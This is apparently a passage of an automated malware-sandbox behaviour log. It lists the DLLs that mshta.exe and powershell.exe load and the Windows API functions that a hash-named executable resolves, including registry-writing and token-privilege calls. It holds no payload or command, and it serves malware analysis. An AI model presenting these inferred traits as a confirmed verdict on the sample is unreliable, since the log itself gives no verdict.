"LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ole32.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter OLEACCRC.DLL (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter OLEACC.DLL (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter OLEAUT32.DLL (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter SXS.DLL (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Oleacc.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Msimtf.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter mshtml.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter msls31.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter d2d1.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter DWrite.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter dxgi.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DXGIDebug.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter setupapi.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter WINTRUST.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter vm3dum_loader.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter XmlLite.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter DXGI.DLL (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter d3d11.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter D3D10Warp.dll (UID: 00000000-00003516) "mshta.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\D3D10Warp.dll (UID: 00000000-00003516) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Pb378ec07#\d254c63bedcb76c81c3125bd527b7d1a\Microsoft.PowerShell.ConsoleH (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Manaa57fc8cc#\73a1a80aed03e789a49cec899b7505dd\System.Management.Automation. (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automatio (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter MSISIP.DLL (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPT32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\wshext.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\WindowsPowerShell\v1.0\pwrshsip.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Data\df2dd09ed7c341842a104e1e668f184e\System.Data.ni.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\e114780fd3ea5727401c06ea4f22ef35\System.Management.ni.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Dired13b18a9#\2e76676fbd265f70be92c82bbf76b8e5\System.DirectoryServices.ni.d (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.P6f792626#\05765f777020deeddc8ad54b48343b9c\Microsoft.PowerShell.Security (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\f0821980bfe2fc8375ccfc37dbe6e9d8\Microsoft.Management.Infrastr (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Numerics\e7d6ed984300c7212c6e682c4f730b1e\System.Numerics.ni.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.CSharp\f73f48afb5512225dedaee9c88ac5050\Microsoft.CSharp.ni.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter WINTRUST.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.P521220ea#\45d6173bf76d6c7a206f8f41403f947b\Microsoft.PowerShell.Commands (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Confe64a9051#\1561b93d6d25c4a9c3e2659ab29a5e73\System.Configuration.Install. (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003436) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003436)36:T164fe,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter DeleteCriticalSection (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LeaveCriticalSection (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter EnterCriticalSection (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter InitializeCriticalSection (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter InterlockedDecrement (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter InterlockedIncrement (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter lstrlenA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter lstrcpynA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter lstrcpyA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LoadLibraryExA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetThreadLocale (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetLocaleInfoA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter FindFirstFileA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter UnhandledExceptionFilter (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetEndOfFile (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RtlUnwind (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetSystemTime (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetKeyboardType (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter CharNextA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SafeArrayPutElement (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SafeArrayPtrOfIndex (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SafeArrayCreate (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter VariantChangeTypeEx (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter VariantCopyInd (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter VariantClear (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SysReAllocStringLen (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SysAllocStringLen (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter TlsSetValue (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter TlsGetValue (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter SetTokenInformation (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegSetValueExA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegDeleteKeyW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegCreateKeyW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter RegCreateKeyA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueA (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter IsValidSid (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00005964) "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00005964) 